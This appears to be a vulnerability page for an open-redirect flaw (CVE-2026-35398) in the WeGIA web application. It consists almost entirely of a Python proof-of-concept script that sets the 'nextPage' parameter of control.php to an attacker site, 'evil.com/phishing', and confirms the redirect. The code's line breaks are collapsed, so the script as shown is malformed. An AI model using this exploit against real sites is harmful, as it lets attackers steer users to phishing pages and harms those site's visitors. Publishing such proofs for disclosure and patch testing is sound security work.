CVE-2026-35398 WeGIA开放重定向漏洞

import requests # Target URL (replace with actual target) target_url = "http://target-weiga-site.com/WeGIA/controle/control.php" # Malicious parameters demonstrating the Open Redirect params = { "metodo": "listarTodos", "listarId_Nome": "", "nomeClasse": "OrigemControle", "nextPage": "http://evil.com/phishing" # Attacker-controlled site } try: # Send GET request without following redirects to capture the Location header response = requests.get(target_url, params=params, allow_redirects=False, timeout=5) if response.status_code in [301, 302, 303, 307, 308]: redirect_location = response.headers.get('Location') if redirect_location and "evil.com" in redirect_location: print(f"[+] Vulnerability Confirmed!") print(f"[+] Server redirected to: {redirect_location}") else: print(f"[-] Redirect occurred but not to the expected payload: {redirect_location}") else: print(f"[-] No redirect triggered. Status code: {response.status_code}") except Exception as e: print(f"[!] Error during request: {e}")